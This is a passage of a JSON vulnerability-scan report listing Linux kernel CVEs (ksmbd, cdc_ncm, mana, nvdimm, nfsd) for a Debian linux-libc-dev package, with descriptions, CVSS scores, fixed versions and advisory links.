4.145984] ret_from_fork+0x4fb/0x6c0\n[ 4.145992] ? __pfx_ret_from_fork+0x10/0x10\n[ 4.145995] ? __switch_to+0x36c/0xbe0\n[ 4.145999] ? __pfx_kthread+0x10/0x10\n[ 4.146003] ret_from_fork_asm+0x1a/0x30\n[ 4.146013] \u003c/TASK\u003e\n[ 4.146014]\n[ 4.149858] Allocated by task 44:\n[ 4.149953] kasan_save_stack+0x33/0x60\n[ 4.150061] kasan_save_track+0x14/0x30\n[ 4.150169] __kasan_kmalloc+0x8f/0xa0\n[ 4.150274] ksmbd_share_config_get+0x1dd/0xdd0\n[ 4.150401] ksmbd_tree_conn_connect+0x7e/0x600\n[ 4.150529] smb2_tree_connect+0x2e6/0x1000\n[ 4.150645] handle_ksmbd_work+0x40f/0x1080\n[ 4.150761] process_one_work+0x5fa/0xef0\n[ 4.150873] worker_thread+0x54b/0xf70\n[ 4.150978] kthread+0x346/0x470\n[ 4.151071] ret_from_fork+0x4fb/0x6c0\n[ 4.151176] ret_from_fork_asm+0x1a/0x30\n[ 4.151286]\n[ 4.151332] Freed by task 44:\n[ 4.151418] kasan_save_stack+0x33/0x60\n[ 4.151526] kasan_save_track+0x14/0x30\n[ 4.151634] kasan_save_free_info+0x3b/0x60\n[ 4.151751] __kasan_slab_free+0x43/0x70\n[ 4.151861] kfree+0x1ca/0x430\n[ 4.151952] __ksmbd_tree_conn_disconnect+0xc8/0x190\n[ 4.152088] smb2_tree_disconnect+0x1cd/0x480\n[ 4.152211] handle_ksmbd_work+0x40f/0x1080\n[ 4.152326] process_one_work+0x5fa/0xef0\n[ 4.152438] worker_thread+0x54b/0xf70\n[ 4.152545] kthread+0x346/0x470\n[ 4.152638] ret_from_fork+0x4fb/0x6c0\n[ 4.152743] ret_from_fork_asm+0x1a/0x30\n[ 4.152853]\n[ 4.152900] The buggy address belongs to the object at ffff88810430c180\n[ 4.152900] which belongs to the cache kmalloc-96 of size 96\n[ 4.153226] The buggy address is located 20 bytes inside of\n[ 4.153226] freed 96-byte region [ffff88810430c180, ffff88810430c1e0)\n[ 4.153549]\n[ 4.153596] The buggy address belongs to the physical page:\n[ 4.153750] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88810430ce80 pfn:0x10430c\n[ 4.154000] flags: 0x\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23428", "https://git.kernel.org/linus/c33615f995aee80657b9fdfbc4ee7f49c2bd733d%20%287.0-rc5%29", "https://git.kernel.org/stable/c/7f7468fd2a7554cea91b7d430335a3dbf01dcc09", "https://git.kernel.org/stable/c/806f13752652216db0c309392b4db3e64eeed4f2", "https://git.kernel.org/stable/c/a5929c2020ce54e1dcbd1078c0f30b8aaf73c105", "https://git.kernel.org/stable/c/c33615f995aee80657b9fdfbc4ee7f49c2bd733d", "https://git.kernel.org/stable/c/c742b46a153d3ff95ff0825ab1950c87b9e14470", "https://git.kernel.org/stable/c/d08417981155883068b7260d9500ca306a03edac", "https://git.kernel.org/stable/c/eae0dc86f71e6f3294c0cd7ffc05039258d243af", "https://lore.kernel.org/linux-cve-announce/2026040310-CVE-2026-23428-9e4e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23428", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://www.cve.org/CVERecord?id=CVE-2026-23428" ], "PublishedDate": "2026-04-03T16:16:23.993Z", "LastModifiedDate": "2026-10-19T19:17:47.68Z" }, { "VulnerabilityID": "CVE-2026-23447", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23447", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:445d432e120310de88c8256c0f634a0e6ff89a86258ed70fad1bc21bbbceb007", "Title": "kernel: net: usb: cdc_ncm: add ndpoffset to NDP32 nframes bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: cdc_ncm: add ndpoffset to NDP32 nframes bounds check\n\nThe same bounds-check bug fixed for NDP16 in the previous patch also\nexists in cdc_ncm_rx_verify_ndp32(). The DPE array size is validated\nagainst the total skb length without accounting for ndpoffset, allowing\nout-of-bounds reads when the NDP32 is placed near the end of the NTB.\n\nAdd ndpoffset to the nframes bounds check and use struct_size_t() to\nexpress the NDP-plus-DPE-array size more clearly.\n\nCompile-tested only.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23447", "https://git.kernel.org/linus/77914255155e68a20aa41175edeecf8121dac391%20%287.0-rc5%29", "https://git.kernel.org/stable/c/125f932a76a97904ef8a555f1dd53e5d0e288c54", "https://git.kernel.org/stable/c/77914255155e68a20aa41175edeecf8121dac391", "https://git.kernel.org/stable/c/a5bd5a2710310c965ea4153cba4210988a3454e2", "https://git.kernel.org/stable/c/af0d1613d6751489dbf9f69aac1123f0b1e566e5", "https://git.kernel.org/stable/c/baf246d6680befde2086b1df9eb3aaba3fb6853f", "https://git.kernel.org/stable/c/de70da1fb1d152e981ecb3157f7ec2b633005c16", "https://linux.oracle.com/cve/CVE-2026-23447.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040315-CVE-2026-23447-dd25@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23447", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23447" ], "PublishedDate": "2026-04-03T16:16:30.663Z", "LastModifiedDate": "2026-11-05T22:18:26.66Z" }, { "VulnerabilityID": "CVE-2026-23448", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23448", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9382085915052f92d409457a2e9c654a7da6f2e9a0dde8b22bfabc300d11dcd", "Title": "kernel: net: usb: cdc_ncm: add ndpoffset to NDP16 nframes bounds check", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: cdc_ncm: add ndpoffset to NDP16 nframes bounds check\n\ncdc_ncm_rx_verify_ndp16() validates that the NDP header and its DPE\nentries fit within the skb. The first check correctly accounts for\nndpoffset:\n\n if ((ndpoffset + sizeof(struct usb_cdc_ncm_ndp16)) \u003e skb_in-\u003elen)\n\nbut the second check omits it:\n\n if ((sizeof(struct usb_cdc_ncm_ndp16) +\n ret * (sizeof(struct usb_cdc_ncm_dpe16))) \u003e skb_in-\u003elen)\n\nThis validates the DPE array size against the total skb length as if\nthe NDP were at offset 0, rather than at ndpoffset. When the NDP is\nplaced near the end of the NTB (large wNdpIndex), the DPE entries can\nextend past the skb data buffer even though the check passes.\ncdc_ncm_rx_fixup() then reads out-of-bounds memory when iterating\nthe DPE array.\n\nAdd ndpoffset to the nframes bounds check and use struct_size_t() to\nexpress the NDP-plus-DPE-array size more clearly.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23448", "https://git.kernel.org/linus/2aa8a4fa8d5b7d0e1ebcec100e1a4d80a1f4b21a%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2aa8a4fa8d5b7d0e1ebcec100e1a4d80a1f4b21a", "https://git.kernel.org/stable/c/403f94ddcb36c552fbef51dea735b131e3dcde8b", "https://git.kernel.org/stable/c/63c35b8fce77a7892e8fa06c540d4943145506eb", "https://git.kernel.org/stable/c/789204f980730258c983102c027c375238009c80", "https://git.kernel.org/stable/c/dce9dda0e3707e887977db44407989e9ead26611", "https://git.kernel.org/stable/c/f1c7701d3ac91b62d672c13690cf295821f0d5c3", "https://linux.oracle.com/cve/CVE-2026-23448.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040315-CVE-2026-23448-1d79@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23448", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-23448" ], "PublishedDate": "2026-04-03T16:16:30.863Z", "LastModifiedDate": "2026-11-05T22:18:26.827Z" }, { "VulnerabilityID": "CVE-2026-23454", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-23454", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e4756fa1ba84867e7dcf93bf193d2c21eeaa6cdc378653d0f685606f772e6c2a", "Title": "kernel: net: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: mana: fix use-after-free in mana_hwc_destroy_channel() by reordering teardown\n\nA potential race condition exists in mana_hwc_destroy_channel() where\nhwc-\u003ecaller_ctx is freed before the HWC's Completion Queue (CQ) and\nEvent Queue (EQ) are destroyed. This allows an in-flight CQ interrupt\nhandler to dereference freed memory, leading to a use-after-free or\nNULL pointer dereference in mana_hwc_handle_resp().\n\nmana_smc_teardown_hwc() signals the hardware to stop but does not\nsynchronize against IRQ handlers already executing on other CPUs. The\nIRQ synchronization only happens in mana_hwc_destroy_cq() via\nmana_gd_destroy_eq() -\u003e mana_gd_deregister_irq(). Since this runs\nafter kfree(hwc-\u003ecaller_ctx), a concurrent mana_hwc_rx_event_handler()\ncan dereference freed caller_ctx (and rxq-\u003emsg_buf) in\nmana_hwc_handle_resp().\n\nFix this by reordering teardown to reverse-of-creation order: destroy\nthe TX/RX work queues and CQ/EQ before freeing hwc-\u003ecaller_ctx. This\nensures all in-flight interrupt handlers complete before the memory they\naccess is freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-23454", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://git.kernel.org/linus/fa103fc8f56954a60699a29215cb713448a39e87%20%287.0-rc5%29", "https://git.kernel.org/stable/c/05d345719d85b927cba74afac4d5322de3aa4256", "https://git.kernel.org/stable/c/249e905571583a434d4ea8d6f92ccc0eef337115", "https://git.kernel.org/stable/c/2b001901f689021acd7bf2dceed74a1bdcaaa1f9", "https://git.kernel.org/stable/c/afdb1533eb9c05432aeb793a7280fa827c502f5c", "https://git.kernel.org/stable/c/b88edf12fc3779521ae5f6f1584153b15f7da6df", "https://git.kernel.org/stable/c/e23bf444512cb85d76012080a76cd1f9e967448e", "https://git.kernel.org/stable/c/fa103fc8f56954a60699a29215cb713448a39e87", "https://linux.oracle.com/cve/CVE-2026-23454.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040317-CVE-2026-23454-a999@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-23454", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-23454" ], "PublishedDate": "2026-04-03T16:16:31.947Z", "LastModifiedDate": "2026-11-05T22:18:27.207Z" }, { "VulnerabilityID": "CVE-2026-31399", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e556f2f088f7373f1f585133043884697452c577a882886dba0c68947b2e9cb6", "Title": "kernel: nvdimm/bus: Fix potential use after free in asynchronous initialization", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvdimm/bus: Fix potential use after free in asynchronous initialization\n\nDingisoul with KASAN reports a use after free if device_add() fails in\nnd_async_device_register().\n\nCommit b6eae0f61db2 (\"libnvdimm: Hold reference on parent while\nscheduling async init\") correctly added a reference on the parent device\nto be held until asynchronous initialization was complete. However, if\ndevice_add() results in an allocation failure the ref count of the\ndevice drops to 0 prior to the parent pointer being accessed. Thus\nresulting in use after free.\n\nThe bug bot AI correctly identified the fix. Save a reference to the\nparent pointer to be used to drop the parent reference regardless of the\noutcome of device_add().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31399", "https://git.kernel.org/linus/a8aec14230322ed8f1e8042b6d656c1631d41163%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2c638259ad750833fd46a0cf57672a618542d84c", "https://git.kernel.org/stable/c/6fc36c2a925ceaba203eb13d75a8f0879a2c121b", "https://git.kernel.org/stable/c/84af19855d1abdee3c9d57c0684e2868e391793c", "https://git.kernel.org/stable/c/9a0fb16ba5b372465a3a1ecd761c6fa911a4ab4d", "https://git.kernel.org/stable/c/a226e5b49e5fe8c98b14f8507de670189d191348", "https://git.kernel.org/stable/c/a36cf138500e56f50db9f9a33222df6969b38326", "https://git.kernel.org/stable/c/a8aec14230322ed8f1e8042b6d656c1631d41163", "https://git.kernel.org/stable/c/e48bf8f1d2b12c1c5ba1f609edbd4cde5dadc20e", "https://linux.oracle.com/cve/CVE-2026-31399.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040326-CVE-2026-31399-9b84@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31399", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31399" ], "PublishedDate": "2026-04-03T16:16:38.41Z", "LastModifiedDate": "2026-11-05T22:18:28.6Z" }, { "VulnerabilityID": "CVE-2026-31402", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31402", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e107d73f8dcc102ef9dc825c2b9810c71bdc28d68071b09ac57db0e6840994d3", "Title": "kernel: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix heap overflow in NFSv4.0 LOCK replay cache\n\nThe NFSv4.0 replay cache uses a fixed 112-byte inline buffer\n(rp_ibuf[NFSD4_REPLAY_ISIZE]) to store encoded operation responses.\nThis size was calculated based on OPEN responses and does not account\nfor LOCK denied responses, which include the conflicting lock owner as\na variable-length field up to 1024 bytes (NFS4_OPAQUE_LIMIT).\n\nWhen a LOCK operation is denied due to a conflict with an existing lock\nthat has a large owner, nfsd4_encode_operation() copies the full encoded\nresponse into the undersized replay buffer via read_bytes_from_xdr_buf()\nwith no bounds check. This results in a slab-out-of-bounds write of up\nto 944 bytes past the end of the buffer, corrupting adjacent heap memory.\n\nThis can be triggered remotely by an unauthenticated attacker with two\ncooperating NFSv4.0 clients: one sets a lock with a large owner string,\nthen the other requests a conflicting lock to provoke the denial.\n\nWe could fix this by increasing NFSD4_REPLAY_ISIZE to allow for a full\nopaque, but that would increase the size of every stateowner, when most\nlockowners are not that large.\n\nInstead, fix this by checking the encoded response length against\nNFSD4_REPLAY_ISIZE before copying into the replay buffer. If the\nresponse is too large, set rp_buflen to 0 to skip caching the replay\npayload. The status is still cached, and the client already received the\ncorrect response on the original request.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10108", "https://access.redhat.com/errata/RHSA-2026:11313", "https://access.redhat.com/errata/RHSA-2026:13565", "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:13577", "https://access.redhat.com/errata/RHSA-2026:13578", "https://access.redhat.com/errata/RHSA-2026:13664", "https://access.redhat.com/errata/RHSA-2026:13681", "https://access.redhat.com/errata/RHSA-2026:13734", "https://access.redhat.com/errata/RHSA-2026:13936", "https://access.redhat.com/errata/RHSA-2026:14137", "https://access.redhat.com/errata/RHSA-2026:14165", "https://access.redhat.com/errata/RHSA-2026:14301", "https://access.redhat.com/errata/RHSA-2026:14823", "https://access.redhat.com/errata/RHSA-2026:14869", "https://access.redhat.com/errata/RHSA-2026:14925", "https://access.redhat.com/errata/RHSA-2026:15883", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:36530", "https://access.redhat.com/errata/RHSA-2026:36531", "https://access.redhat.com/errata/RHSA-2026:36532", "https://access.redhat.com/errata/RHSA-2026:36533", "https://access.redhat.com/errata/RHSA-2026:36534", "https://access.redhat.com/security/cve/CVE-2026-31402", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/5133b61aaf437e5f25b1b396b14242a6bb0508e2%20%287.0-rc5%29", "https://git.kernel.org/stable/c/0f0e2a54a31a7f9ad2915db99156114872317388", 